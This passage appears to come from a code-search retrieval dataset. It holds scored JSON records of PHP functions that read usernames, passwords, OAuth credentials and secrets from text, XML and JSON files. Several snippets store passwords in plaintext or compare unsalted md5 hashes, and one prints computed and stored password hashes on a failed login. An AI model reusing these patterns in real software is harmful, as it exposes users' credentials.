"" }, { "docid": "d02be0ab8ddcc06a0e8c5a94c73ac698", "score": "0.5541011", "text": "function create_accounts_pull($file_name)\n\t{\n\t\t$users = get_users_login_password($file_name);\n\t\t\n\t\tif(count($users) == 0)\n\t\t{\n\t\t\tparser_die(\"No users in $file_name\");\n\t\t}\n\t\t\n\t\tforeach($users as $u)\n\t\t{\n\t\t\t$o = new OK($u['login'], $u['password']);\n\t\t\t$pull[] = $o;\n\t\t}\n\t\t\n\t\treturn $pull;\n\t}", "title": "" }, { "docid": "006bb896014d47c5143bfcd128bbe2de", "score": "0.553169", "text": "function getPassword(){\n\t//db password in it. I did it this way to avoid putting it on github!\n\t$pwfile = fopen('password.txt', 'r'); \n\t$pw = fgets($pwfile);\n\tfclose($pwfile);\n\treturn $pw;\n}", "title": "" }, { "docid": "5f91d0cd3d1f22bae99a5c03f6d8678d", "score": "0.5477333", "text": "function nameList(){\n\t$nameList = trim(file_get_contents('name.txt'));\n\t$_SESSION['nameArray'] = explode(\"\\n\", $nameList);\n}", "title": "" }, { "docid": "a26c4630b15ec678734a3c0aabc831b1", "score": "0.53921413", "text": "public function readPassword();", "title": "" }, { "docid": "0d75618ce4431695bc8425374f948d4f", "score": "0.5373478", "text": "static function ListAdmins()\n\t{\n\t\t$fp = fopen(Cm23AdminLister::M23ADMIN_HT_PASSWD,\"r\");\n\t\t$adminleft = countLinesInFile(Cm23AdminLister::M23ADMIN_HT_PASSWD); /* Don't delete the last admin ;) */\n\t\t$counter = 0;\n\t\t$adminlist = array();\n\t\twhile( ! feof($fp) )\n\t\t{\n\t\t\t$templine = fgets($fp,1024);\n\t\t\t$templine = explode(\":\",$templine);\n\t\t\t$counter++;\n\t\t\tif( empty($templine[0]) ) { break; }; //filters last empty line from the file\n\t\t\t/* build array using counter for enumeration */\n\t\t\t$adminlist[$counter] = $templine[0];\n\t\t}\n\t\treturn ($adminlist);\n\t}", "title": "" }, { "docid": "dac8f3ca7a69b7ae2043aff8e09380d5", "score": "0.52923995", "text": "public function usePasswordFile(string $file)\n {\n $this->passwordFile = $file;\n return $this;\n }", "title": "" }, { "docid": "b0e98a8365e5026d79bfbb77f1f7fa2a", "score": "0.52795666", "text": "function cargarDatostxt(){\n // Si no existe lo creo\n $tabla=[]; \n if (!is_readable(FILEUSER) ){\n // El directorio donde se crea tiene que tener permisos adecuados\n $fich = @fopen(FILEUSER,\"w\") or die (\"Error al crear el fichero.\");\n fclose($fich);\n }\n $fich = @fopen(FILEUSER, 'r') or die(\"ERROR al abrir fichero de usuarios\"); // abrimos el fichero para lectura\n \n while ($linea = fgets($fich)) {\n $partes = explode('|', trim($linea));\n // Escribimos la correspondiente fila en tabla\n $tabla[]= [ $partes[0],$partes[1],$partes[2],$partes[3]];\n }\n fclose($fich);\n return $tabla;\n}", "title": "" }, { "docid": "6f95f56b46641e1f1b6fb1144d3434f1", "score": "0.5196478", "text": "public function generate_passphrase() {\n $passphrase = array();\n $file = new SplFileObject(dirname(dirname(__FILE__)) . 'assets/diceware.list');\n for ($i=0; $i<=$this->passphraseWords; $i++) {\n $rand = rand(1, 7777);\n $file->seek($rand);\n $passphrase[] = $file->current();\n }\n\n $passphrase = implode(' ', $passphrase);\n $this->set_passphrase($passphrase);\n return $passphrase;\n }", "title": "" }, { "docid": "c363ade52606dee312f91ce58e90077e", "score": "0.5189617", "text": "function getUsers($databaseFileName = './users.db') {\r\n \r\n $lines = file($databaseFileName);\r\n\r\n $users = [];\r\n \r\n foreach ($lines as $line) {\r\n if (!$line) {\r\n continue;\r\n }\r\n \r\n $fields = explode(\"\\t\", $line);\r\n\r\n $name = str_replace(array(' ', \"\\n\", \"\\t\", \"\\r\"), '', $fields[0]);\r\n $email = str_replace(array(' ', \"\\n\", \"\\t\", \"\\r\"), '', $fields[1]);\r\n $password = str_replace(array(' ', \"\\n\", \"\\t\", \"\\r\"), '', $fields[2]);\r\n \r\n $users[$email] = [\r\n \"name\" => $name,\r\n \"password\" => $password\r\n ];\r\n }\r\n\r\n return $users;\r\n }", "title": "" }, { "docid": "8161ace3df6aa8e6b873cd1e7967f8c0", "score": "0.51760083", "text": "function load_credentials_from_file()\n{\n // Get OAuth 2.0 credentials from auth_credentials.json file.\n $credentials = file_get_contents(dirname(__FILE__) . '/auth_credentials.json');\n if ($credentials===false) {\n throw new \\Exception(\"Couldn't read OAuth credentials from auth_credentials.json. Make sure \" .\n \"the file exists (if not, copy from auth_credentials.json.dist).\");\n }\n\n $credentials = json_decode($credentials, true);\n if (!is_array($credentials)) {\n throw new \\Exception(\"Invalid auth credentials\\n\"); \n }\n\n // Try to read access_token.json and merge it with the rest of credentials.\n if (is_readable(dirname(__FILE__) . '/access_token.json')) {\n $accessToken = file_get_contents(dirname(__FILE__) . '/access_token.json');\n\n $accessToken = json_decode($accessToken, true);\n if (!is_array($accessToken)) {\n throw new Exception(\"Invalid access token format\"); \n }\n\n $credentials = array_merge($credentials, $accessToken);\n }\n \n return $credentials;\n}", "title": "" }, { "docid": "5842bc0bc7016a27f794937e5eadc9e2", "score": "0.51708376", "text": "public function setPasswordFile($value)\n\t\t{\n\t\t\t$this->_passwordFile = trim($value);\n\t\t}", "title": "" }, { "docid": "26df1cadb480c7f433fa2e8af0501c8c", "score": "0.5161935", "text": "public function returnPasswords ($user) {\n\n\t$initCert = new Cert();\n\n\t$passwords = array();\n $xml = new DOMDocument();\n $xml->load(self::path.\"passwords.xml\");\n\n $searchNode = $xml->getElementsByTagName( \"Data\" );\n\n foreach( $searchNode as $searchNode ){\n\n\t $xmlUser = $searchNode->getElementsByTagName( \"User\" );\n \t$valueUser = $xmlUser->item(0)->nodeValue;\n\t $xmlDomain = $searchNode->getElementsByTagName( \"Domain\" );\n \t$valueDomain = $xmlDomain->item(0)->nodeValue;\n\t $xmlUsername = $searchNode->getElementsByTagName( \"Username\" );\n \t$valueUsername = $xmlUsername->item(0)->nodeValue;\n\t $xmlPassword = $searchNode->getElementsByTagName( \"Password\" );\n \t$valuePassword = $xmlPassword->item(0)->nodeValue;\n\t $xmlComment = $searchNode->getElementsByTagName( \"Comment\" );\n \t$valueComment = $xmlComment->item(0)->nodeValue;\n\t $xmlSignature = $searchNode->getElementsByTagName( \"Signature\" );\n \t$valueSignature = $xmlSignature->item(0)->nodeValue;\n\n\t\tif ($valueUser == $user){\n\t\t\t$checkSignature = $initCert->verifyPassword(base64_decode($valuePassword),$valueDomain,$this->getCAdata()['privateKey'],$_SESSION['sKey']);\n\t\t\tif ($checkSignature == base64_decode($valueSignature)) {\n\t\t\t\t$passwords[] = array($valueDomain,$valueUsername,$valuePassword,$valueComment,\"OK\");\n\t\t\t} else {\n\t\t\t\t$passwords[] = array($valueDomain,$valueUsername,$valuePassword,$valueComment,\"Corrupted\");\n\t\t\t}\n\t\t}\n\t}\n \n return $passwords;\n\n }", "title": "" }, { "docid": "806e50a2cf3b41a2483129d77780c374", "score": "0.5142632", "text": "public function dumpPasswords ($user) {\n\n $initCert = new Cert();\n\n $passwords = array();\n $xml = new DOMDocument();\n $xml->load(self::path.\"passwords.xml\");\n\n $searchNode = $xml->getElementsByTagName( \"Data\" );\n\n foreach( $searchNode as $searchNode ){\n\n $xmlUser = $searchNode->getElementsByTagName( \"User\" );\n $valueUser = $xmlUser->item(0)->nodeValue;\n $xmlDomain = $searchNode->getElementsByTagName( \"Domain\" );\n $valueDomain = $xmlDomain->item(0)->nodeValue;\n $xmlUsername = $searchNode->getElementsByTagName( \"Username\" );\n $valueUsername = $xmlUsername->item(0)->nodeValue;\n $xmlPassword = $searchNode->getElementsByTagName( \"Password\" );\n $valuePassword = $xmlPassword->item(0)->nodeValue;\n $xmlComment = $searchNode->getElementsByTagName( \"Comment\" );\n $valueComment = $xmlComment->item(0)->nodeValue;\n $xmlSignature = $searchNode->getElementsByTagName( \"Signature\" );\n $valueSignature = $xmlSignature->item(0)->nodeValue;\n\n if ($valueUser == $user){\n\t\t\t$passwords[] = array('domain' => $valueDomain,'username' => $valueUsername,'password' => $valuePassword,'comment' => $valueComment,'signature' => $valueSignature);\n }\n }\n\n return $passwords;\n\n }", "title": "" }, { "docid": "c88f826e1a072219d6aac4c669863e04", "score": "0.5137081", "text": "function is_login_password_valid()\n{\n $user_credential_file_path = \"../database/user_credential.txt\";\n $_SESSION[\"login\"] = $_POST[\"login\"];\n $_SESSION[\"password\"] = $_POST[\"password\"];\n $login = $_SESSION[\"login\"];\n $password = $_SESSION[\"password\"];\n if(file_exists($user_credential_file_path) == false)\n return(false);\n $file_array = unserialize(file_get_contents($user_credential_file_path));\n $user_count = count($file_array);\n $i = 0;\n while($i < $user_count)\n {\n if(strcmp($login, $file_array[$i][\"login\"]) == 0)\n {\n if(strcmp(hash(\"whirlpool\", $password), $file_array[$i][\"password\"]) == 0)\n return(true);\n else\n return(false);\n }\n $i++;\n }\n return(false);\n}", "title": "" }, { "docid": "31c355137883543aa39c7593304ad600", "score": "0.5134791", "text": "function get_user_info($filename){\n\t\tglobal $key_arr;\n\n\t\t$myfile = fopen($filename, \"r\") or die(\"File does not exist\");\n\n\t\t/*could use fread()*/\n\t\twhile($line=fgets($myfile)){\n\t\t\t//Convert to array by \" \" \n\t\t\t$res = explode(\" \", $line);\n\t\t\tif(count($res) < count($key_arr)){\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$new_res = [];\n\t\t\t//Replace keys in $res\n\t\t\tfor($i = 0; $i < count($res); $i++){\n\t\t\t\t$new_res[$key_arr[$i]] = $res[$i];\n\t\t\t}\n\n\t\t\t$info_arr[$res[0]] = $new_res;\n\t\t\t//Destory local variable $new_res\n\t\t\tunset($new_res);\n\t\t\tunset($res);\n\t\t}\n\n\t\tfclose($myfile);\n\t\treturn $info_arr;\n\t}", "title": "" }, { "docid": "20d0e4b82f784e2635785744c5d38853", "score": "0.51304233", "text": "private function secret()\n {\n // Read secret file\n if (file_exists($this->secret_file) && is_file($this->secret_file)) {\n return [true, file_get_contents($this->secret_file)];\n }\n // Fallback error\n return [false, \"Secret doesn't exist\"];\n }", "title": "" }, { "docid": "0e47ff1428c64e065c3bbc8cdbddcd95", "score": "0.5094331", "text": "function password_file($create) {\n\t$filename = get_temp_dir() . \"/adminer.key\";\n\t$return = @file_get_contents($filename); // @ - may not exist\n\tif ($return || !$create) {\n\t\treturn $return;\n\t}\n\t$fp = @fopen($filename, \"w\"); // @ - can have insufficient rights //! is not atomic\n\tif ($fp) {\n\t\tchmod($filename, 0660);\n\t\t$return = rand_string();\n\t\tfwrite($fp, $return);\n\t\tfclose($fp);\n\t}\n\treturn $return;\n}", "title": "" }, { "docid": "c27b443bff42284dbe5dca867bcc2304", "score": "0.5088232", "text": "function getInput() : array {\n\t$groupLines = explode(PHP_EOL . PHP_EOL, file_get_contents('input.txt'));\n\n\t// Split into lines within each group, and each line into characters\n\treturn array_map(function ($g) {\n\t\treturn array_map(function ($l) {\n\t\t\treturn str_split($l);\n\t\t}, explode(PHP_EOL, $g));\n\t}, $groupLines);\n}", "title": "" }, { "docid": "6acc75c6f9be02dd32d62d07babc62a6", "score": "0.5066749", "text": "protected function _turn_file_to_array($file) {\n $array = explode(\"\\n\", $file);\n foreach($array as $key => $value) {\n if(strlen($value) <= 1) {\n unset($array[$key]);\n }\n }\n return $array;\n }", "title": "" }, { "docid": "3dafa2e3ab97a211159d7684984b7b94", "score": "0.5021788", "text": "function correctCombo(){\r\n\t$users = file(\"users.txt\");\r\n\tforeach($users as $user){\r\n\t\t$user = preg_replace('/\\s+/', '', $user);\r\n\t\tif(($_POST[\"name\"] . \":\" . $_POST[\"password\"]) == $user){\r\n\t\t\treturn true;\r\n\t\t}\t\r\n\t}\r\n\treturn false;\r\n}", "title": "" }, { "docid": "10343998fb75b8c60c28ecfdce10015b", "score": "0.5015443", "text": "function verify($password = '') {\n\t\t$filePath = $_SERVER['DOCUMENT_ROOT'].'/'.'FileViewer/config.ini';\n\t\t$content = parse_ini_file($filePath);\n\t\tif(!isset($password) || '' == $password) {\n\t\t\techo 'No password entered';\n\t\t} else if(md5($password) == $content['password']) {\n\t\t\t//Todo\n\t\t\techo 'Password correct';\n\t\t} else {\n\t\t\t\n\t\t\techo 'Password incorrect';\n\t\t}\n\t}", "title": "" }, { "docid": "4e5eaafd475cfec9da048c3b9112c0f5", "score": "0.50138015", "text": "function changePassword( $email, $old_password, $new_password){\r\n //This function returns boolean.\r\n $status = false;\r\n\r\n //The new password can't have spaces\r\n if( strpos( $new_password, \" \" ) !== false ){\r\n return $status;\r\n }\r\n\r\n //Read the file.\r\n $file = fopen( \"info.txt\", \"r+\", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES );\r\n $read = fread( $file, filesize( \"info.txt\" ));\r\n\r\n //Close the file\r\n fclose( $file );\r\n\r\n //Explode the data. There are two values which make up a user, so chunk into users.\r\n $data = array_chunk( explode( \" \", $read ), 2 );\r\n\r\n //The names of each element (purely to make code easier)\r\n $keys = array(\r\n \"email\",\r\n \"password\"\r\n );\r\n\r\n //For every user in the data file.\r\n foreach( $data as $userID=>$user ){\r\n //Combine the user data with keys\r\n $user = array_combine( $keys, $user );\r\n\r\n //If the current credentials are correct\r\n if( $user[\"email\"] == $email && $user[\"password\"] == $old_password ){\r\n //Change the password on this user\r\n $user[\"password\"] = $new_password;\r\n\r\n //Update the user record\r\n $data[$userID] = $user;\r\n\r\n //We have changed the user password, change status\r\n $status = true;\r\n\r\n //Since we updated the user, we don't need to proceed through the loop\r\n break 1;\r\n }\r\n }\r\n\r\n //This is the output data\r\n $outputData = array();\r\n\r\n //Since we broke the array into users, we need to put it back into a 1d array\r\n foreach($data as $userID=>$user){\r\n $outputData[] = implode( ' ', $user );\r\n }\r\n\r\n //Implode the array so we can put it back in the file\r\n $outputData = implode( \" \", $outputData );\r\n\r\n //Write the data to the file.\r\n file_put_contents( \"info.txt\", $outputData );\r\n\r\n //Return the status, which will be true.\r\n return $status;\r\n}", "title": "" }, { "docid": "f6683d9685cd8004fb870eeaaab7517c", "score": "0.50000775", "text": "function get_extra_fields() {\n $f = fopen(\"extrafields.txt\", \"r\") or die(\"Unable to open extrafields.txt! Check if exists and permissions.\");\n $ef = [];\n // grab each line (field)\n while(!feof($f)) {\n $l = trim(fgets($f));\n if ($l === \"\") {\n continue;\n }\n // field desc for field separated by pipe |\n $fn = explode('|', $l)[0];\n $fd = explode('|', $l)[1];\n $ef[$fn] = $fd;\n }\n fclose($f);\n return $ef;\n}", "title": "" }, { "docid": "4576b868882ddcc6582d8b44566a1423", "score": "0.499465", "text": "function setUsuarios() {\n $archivo = fopen(\"archivoUsuarios\", \"r\") or exit('No puede abrir archivo!');\n $i = 0;\n while(!feof($archivo)){ \n $this->usuarios[$i] = trim(fgets($archivo));\n $i++;\n }\n fclose($archivo); \n }", "title": "" }, { "docid": "568b1e70148bfade499797837fc2552e", "score": "0.49863812", "text": "function get_tab()\n{\n $data = file_get_contents(\"../private/passwd\");\n return ($data === false ? [] : unserialize($data));\n}", "title": "" }, { "docid": "568b1e70148bfade499797837fc2552e", "score": "0.49863812", "text": "function get_tab()\n{\n $data = file_get_contents(\"../private/passwd\");\n return ($data === false ? [] : unserialize($data));\n}", "title": "" }, { "docid": "4bad2c46bf0b7ad8bc4f10f33a0768a4", "score": "0.4957143", "text": "function file_get_content_array($file) {\n return @file($file, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);\n}", "title": "" }, { "docid": "291866fdd7fbc1dec14d0c659f8e14c1", "score": "0.49462968", "text": "public function fileToArray()\r\n {\r\n $array = array();\r\n $archivo = fopen($this->path, \"r\");\r\n while (!feof($archivo)) {\r\n $array[] = fgets($archivo);\r\n }\r\n fclose($archivo);\r\n return $array;\r\n }", "title": "" }, { "docid": "431779107499da3d74e90705bd9df20f", "score": "0.49287462", "text": "function login($email,$password) {\n\t$fileName = \"week_04_users.txt\";\n\t$lines = file($fileName);\n\t\n\t// echo \"<pre>\";\n\t// print_r($lines);\n\tforeach($lines as $row) {\t\t\n\t\t$userParts = explode(\"|\", $row);\n\t\t// [0]=>email, [1]=>password, [2]=>firstname, [3]=>lastname\n\t\t// print_r($userParts);\n\t\tif($userParts[0] == $email && $userParts[1] == md5($password)) {\n\t\t\t$_SESSION['email'] = $userParts[0];\n\t\t\t$_SESSION['firstname'] = $userParts[2];\n\t\t\t$_SESSION['is_user'] = 1;\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "9d722efe8d4d50e2e4f1cd53c30450ca", "score": "0.49158886", "text": "function readArray() {\r\n $handle = fopen ($this->file, \"r\");\r\n $i = 0;\r\n do {\r\n $this->buffer[$i] = fgets($handle);\r\n $this->buffer[$i] = explode($this->separator, $this->buffer[$i]);\r\n $i++;\r\n } while (!feof ($handle));\r\n fclose ($handle);\r\n }", "title": "" }, { "docid": "ac88ccfbc3779249b2bd771f1c62ae5d", "score": "0.4894719", "text": "function password_generate() {\n\tif (DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS'))\n\t\tdebug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs);\n\n\t$no_use_similiar = ! $_SESSION[APPCONFIG]->getValue('password','use_similar');\n\t$lowercase = $_SESSION[APPCONFIG]->getValue('password','lowercase');\n\t$uppercase = $_SESSION[APPCONFIG]->getValue('password','uppercase');\n\t$digits = $_SESSION[APPCONFIG]->getValue('password','numbers');\n\t$punctuation = $_SESSION[APPCONFIG]->getValue('password','punctuation');\n\t$length = $_SESSION[APPCONFIG]->getValue('password','length');\n\n\t$outarray = array();\n\n\tif ($no_use_similiar) {\n\t\t$raw_lower = 'a b c d e f g h k m n p q r s t u v w x y z';\n\t\t$raw_numbers = '2 3 4 5 6 7 8 9';\n\t\t$raw_punc = '# $ % ^ & * ( ) _ - + = . , [ ] { } :';\n\n\t} else {\n\t\t$raw_lower = 'a b c d e f g h i j k l m n o p q r s t u v w x y z';\n\t\t$raw_numbers = '1 2 3 4 5 6 7 8 9 0';\n\t\t$raw_punc = '# $ % ^ & * ( ) _ - + = . , [ ] { } : |';\n\t}\n\n\t$llower = explode(' ',$raw_lower);\n\tshuffle($llower);\n\t$lupper = explode(' ',strtoupper($raw_lower));\n\tshuffle($lupper);\n\t$numbers = explode(' ',$raw_numbers);\n\tshuffle($numbers);\n\t$punc = explode(' ',$raw_punc);\n\tshuffle($punc);\n\n\tif ($lowercase > 0)\n\t\t$outarray = array_merge($outarray,a_array_rand($llower,$lowercase));\n\n\tif ($uppercase > 0)\n\t\t$outarray = array_merge($outarray,a_array_rand($lupper,$uppercase));\n\n\tif ($digits > 0)\n\t\t$outarray = array_merge($outarray,a_array_rand($numbers,$digits));\n\n\tif ($punctuation > 0)\n\t\t$outarray = array_merge($outarray,a_array_rand($punc,$punctuation));\n\n\t$num_spec = $lowercase + $uppercase + $digits + $punctuation;\n\n\tif ($num_spec < $length) {\n\t\t$leftover = array();\n\t\tif ($lowercase > 0)\n\t\t\t$leftover = array_merge($leftover,$llower);\n\t\tif ($uppercase > 0)\n\t\t\t$leftover = array_merge($leftover,$lupper);\n\t\tif ($digits > 0)\n\t\t\t$leftover = array_merge($leftover,$numbers);\n\t\tif ($punctuation > 0)\n\t\t\t$leftover = array_merge($leftover,$punc);\n\n\t\tif (count($leftover) == 0)\n\t\t\t$leftover = array_merge($leftover,$llower,$lupper,$numbers,$punc);\n\n\t\tshuffle($leftover);\n\t\t$outarray = array_merge($outarray,a_array_rand($leftover,$length-$num_spec));\n\t}\n\n\tshuffle($outarray);\n\t$return = implode('',$outarray);\n\n\tif (DEBUG_ENABLED)\n\t\tdebug_log('Returning (%s)',1,0,__FILE__,__LINE__,__METHOD__,$return);\n\n\treturn $return;\n}", "title": "" }, { "docid": "3c19441b5d5598f2425187a918493895", "score": "0.48796126", "text": "function existelogin($mail,$pass){\r\n try{\r\n$fic=fopen(\"login.txt\",\"r\");\r\n \r\n \r\n\r\n while(!feof($fic)){\r\n $ligne=fgets($fic);\r\n \r\n $var=explode(\"|\",$ligne);\r\n \r\n if($var[0] == $mail && $var[1] == $pass)\r\n {\r\n \r\n return true;\r\n exit();\r\n }\r\n \r\n}}\r\n catch(exception $e){\r\n die(\"erreur!!:\".$e);\r\n}\r\n \r\n }", "title": "" }, { "docid": "df0b8ec76ecb29f6095b20051b97f618", "score": "0.48737568", "text": "function credentials() {\n return array($this->server, $this->name, $this->pass);\n }", "title": "" }, { "docid": "c98e91d3c099dbebd30803b0642e2276", "score": "0.48671755", "text": "public function getImportusers()\n\t{\n\t\t$users = file(app_path().'/users.txt');\n foreach ($users as $line) {\n $line = trim($line);\n $a = explode(\"\\t\", $line);\n $name=$a[0];\n $type=$a[1];\n $user = new User;\n $user->username=$name;\n $user->type = $type;\n $user->password = Hash::make('');\n $user->isadmin = 0;\n $user->save();\n echo \"$name\\t$type\\n\";\n }\n\n echo 'ok';\n }", "title": "" }, { "docid": "d45afd84e22ed4aba2b8106a6a186c60", "score": "0.4860679", "text": "private function loadUsers() {\n\t\t$this->usersFile = new \\common\\model\\PHPFileStorage(\"data/users.php\");\n\n\t\t$usersArray = $this->usersFile->readAll();\n\n\t\tforeach ($usersArray as $key => $userString) {\n\t\t\t$user = UserCredentials::fromString($userString);\n\t\t\t$this->users[$user->getUserName()->__toString()] = $user;\n\t\t}\n\t}", "title": "" }, { "docid": "408322cf2dd5114211a33a9560f93f65", "score": "0.48360562", "text": "function _get_secrets($file)\n{\n $secrets_file = $_SERVER['HOME'] . '/files/private/' . $file;\n if (!file_exists($secrets_file)) {\n die('No secrets file found. Aborting!');\n }\n\n $secrets_json = file_get_contents($secrets_file);\n $secrets = json_decode($secrets_json, 1);\n\n if ($secrets == false) {\n die('Could not parse json in secrets file. Aborting!');\n }\n return $secrets;\n}", "title": "" }, { "docid": "ef0bdd9b505f83d579a00acc16772125", "score": "0.48268417", "text": "function check(){\n\t$user_input=$_POST[\"username\"];\n\t$pwd_input=$_POST[\"pass\"];\n\t$vars = read_pass();\n\t$users= $vars[0];\n\t$pwds= $vars[1];\t\n\tfor($j=0; $j<count($users); $j++){\n\t\tif($user_input===$users[$j]){\n\t\t\tif(crypt($pwd_input,$user_input)===$pwds[$j]){\n\t\t\t\tprint (\"<center><h5>Thanks for logging in</h5></center>\");\n\t\t\t\twelcome();\n\t\t\t\treturn;\n\t\t\t}else{\n\t\t\t\tprint (crypt($pwd_input,$user_input));\n\t\t\t\tprint (\"<br>\");\n\t\t\t\tprint ($pwds[$j]);\n\t\t\t\twrong_pw();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\t$new_pass= fopen (\"passwd.txt\", \"a\");\n\t$new_user_info=$user_input.\":\".crypt($pwd_input,$user_input).\"\\n\";\n\tfwrite($new_pass, $new_user_info);\n\tfclose($new_pass);\n\tprint (\"<center><h5>Thanks for registering</h5></center>\");\n\twelcome();\n}", "title": "" }, { "docid": "e4617d4da34abdbb8021c1c7db66a85e", "score": "0.4822803", "text": "function getBarcodes(){\n\t$barcodes = array();\t\t\n\t$fp = fopen(\"barcodes.txt\", 'r');\n\twhile (!feof($fp)){\n\t\t$barcode = trim(fgets($fp));\t\n\t\tarray_push($barcodes, $barcode);\n\t} // end while\n\tfclose($fp);\n\treturn($barcodes);\t\n}", "title": "" }, { "docid": "e3a2890486c27ea0353516b9d853e56d", "score": "0.48191684", "text": "protected function votstdyTxt() {\r\n $re['all'] = array(); $re[$this->tdy] = array();\r\n if(file_exists($this->votusers)) {\r\n $rows = file($this->votusers, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\r\n $nrrows = count($rows);\r\n\r\n // if exist rows registered, get array for each row, with - day^voter^item , compare 'day', and 'voter'\r\n if($nrrows > 0) {\r\n for($i=0; $i<$nrrows; $i++) {\r\n $row = explode('^', $rows[$i]);\r\n if($row[0] == $this->tdy) {\r\n $re['all'][] = $rows[$i];\r\n if($row[1] == $this->voter) $re[$this->tdy][] = $row[2];\r\n }\r\n }\r\n }\r\n }\r\n\r\n return $re;\r\n }", "title": "" }, { "docid": "7d2d7188997b4a29b0ce285661eaaff0", "score": "0.48182884", "text": "public function loadData($fileName) {\n\t\trequire(site_get_config_main());\n\t\t$file_path = $main_write_directory . $this->dir . \"/$fileName.txt\";\n\t\t$file = file($file_path);\n\t\t$keys = explode(\"\\t\", $file[0]);\n\t\t$data = array();\n\t\tfor ($i = 1; $i<count($file); $i++) {\n\t\t\t$values = explode(\"\\t\", $file[$i]);\n\t\t\t$d = array();\n\t\t\tfor ($j=0; $j<count($keys); $j++) {\n\t\t\t\tif($values[$j] != \"\\n\") {\n\t\t\t\t\t$d[$keys[$j]] = $values[$j];\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[] = $d;\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "0fe31d5c555773fb322b219431c657cd", "score": "0.48148096", "text": "public static function match($password, array $userInputs = array())\n {\n $sha1=strtoupper(sha1($password));\n $sha1_begin=substr($sha1, 0, 5);\n $result=file(self::URL . $sha1_begin, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n if(!is_array($result))\n return array();\n foreach($result as $line) {\n $res = explode(\":\", $line);\n if($sha1_begin . $res[0] == $sha1) {\n $match = new static($password, 0, strlen($password) - 1, $password, $res[1]);\n return array($match);\n }\n }\n return array();\n }", "title": "" }, { "docid": "58b3ba3b9d7d5b5d0709f7b5e7efc875", "score": "0.48024592", "text": "function getAllFromFile() {\r\n $outputs = [];\r\n $startParsing = \"\";\r\n $handle = fopen($this->sessionFile, \"r\");\r\n if ($handle) {\r\n while (($line = fgets($handle)) !== false) {\r\n $line = ltrim(str_replace([\"\\n\", \"\\r\"],\"\", $line));\r\n $posr = strpos($line, \"id=\");\r\n if($posr==0) {\r\n $startParsing = substr($line, $posr + strlen($posr));\r\n $outputs[$startParsing] = [];\r\n } else if($startParsing && trim($line)!=\"\") {\r\n $equalation = strpos(\"=\");\r\n $outputs[$startParsing][substr($line, 0, $equalation)] = substr($line, $equalation + 1);\r\n }\r\n }\r\n \r\n fclose($handle);\r\n return $outputs;\r\n } else {\r\n return null; \r\n }\r\n }", "title": "" }, { "docid": "7045e233de41ca0c1c7f463d020b54c4", "score": "0.4802434", "text": "public function get_contents_array( $file ) {\n\t\treturn @file( $file );\n\t}", "title": "" }, { "docid": "f9f37d3804a344f4362bcb44484eab11", "score": "0.4802138", "text": "public function getLockfile(string $langFile): array;", "title": "" }, { "docid": "d32aaf1c2327245325b71ab07a8e2c68", "score": "0.48012725", "text": "public function returnPassword ($user,$domain,$username) {\n\n $xml = new DOMDocument();\n $xml->load(self::path.\"passwords.xml\");\n\n $searchNode = $xml->getElementsByTagName( \"Data\" );\n\n foreach( $searchNode as $searchNode ){\n\n\t $xmlUser = $searchNode->getElementsByTagName( \"User\" );\n \t$valueUser = $xmlUser->item(0)->nodeValue;\n\t $xmlDomain = $searchNode->getElementsByTagName( \"Domain\" );\n \t$valueDomain = $xmlDomain->item(0)->nodeValue;\n\t $xmlUsername = $searchNode->getElementsByTagName( \"Username\" );\n \t$valueUsername = $xmlUsername->item(0)->nodeValue;\n\t $xmlPassword = $searchNode->getElementsByTagName( \"Password\" );\n \t$valuePassword = $xmlPassword->item(0)->nodeValue;\n\t $xmlComment = $searchNode->getElementsByTagName( \"Comment\" );\n \t$valueComment = $xmlComment->item(0)->nodeValue;\n\t\tif (($valueUser == $user) && ($valueDomain == $domain) && ($valueUsername == $username)) {\n\t\t\t$passwords = array($valueDomain,$valueUsername,$valuePassword,$valueComment);\n\t\t}\n\t}\n \n return $passwords;\n\n }", "title": "" }, { "docid": "08b2afa598dbc11677febeb35d2bcfb1", "score": "0.4797004", "text": "function captiveportal_read_db() {\n\n global $g;\n\n $cpdb = array();\n $fd = @fopen(\"{$g['vardb_path']}/captiveportal.db\", \"r\");\n if ($fd) {\n while (!feof($fd)) {\n $line = trim(fgets($fd));\n if ($line) {\n $cpdb[] = explode(\",\", $line);\n }\n }\n fclose($fd);\n }\n return $cpdb;\n}", "title": "" }, { "docid": "a30c1a2d6be2de93855217536f438d66", "score": "0.47924697", "text": "function readConfigToArray($File) {\n\t$arrFiles=array();\n\t$readDatei = fopen($File, \"r\");\n\twhile(($Daten = fgetcsv($readDatei, 100, \"=\")) !== FALSE) {\n\t\tif ( count($Daten) == 2 ) {\n\t if ( $Daten[0][0] != \"#\" ) \n\t {\n\t $arrDatenSpalten = array();\n\t for($i = 0; $i < 2; $i++) {\n\t $arrDatenSpalten[$i] = trim($Daten[$i]);\n\t }\n\t $arrFiles[]=$arrDatenSpalten;\n\t }\n\t\t}\n\t}\n\tfclose($readDatei);\n\treturn $arrFiles;\n}", "title": "" }, { "docid": "4ffe7f98d2d682383b0d80017d192466", "score": "0.47916463", "text": "function get_lang_array($file = 'eng')\n{\n\tif(empty($file))\n\t\t$file = 'eng';\n\t\t\n\t$f = \"languages/\".$file.\"/global.lng\";\n\t$lanArray = array();\n\tif(is_file($f))\n\t{\n\t\t$handle = fopen($f, \"r\");\n\t\t// removing first 2 lines\n\t\t$buffer = fgets($handle);\n\t\t$buffer = fgets($handle);\n\n\t\twhile (!feof($handle)) {\n\t\t\t$buffer = fgets($handle);\n\t\t\t$buffer = trim($buffer);\n\t\t\tif(!empty($buffer))\n\t\t\t{\n\t\t\t\t$a = explode(\"=\",$buffer);\n\t\t\t\t$lanArray += array($a[0] => $a[1]);\n\t\t\t}\n\t\t}\n\t\tfclose($handle);\n\t}\n\treturn $lanArray;\t\n}", "title": "" }, { "docid": "39bdb3d3f2a2377ff6260e416716c419", "score": "0.4759352", "text": "function LoadFile() {\n\t$contents = file_get_contents(\"../Data 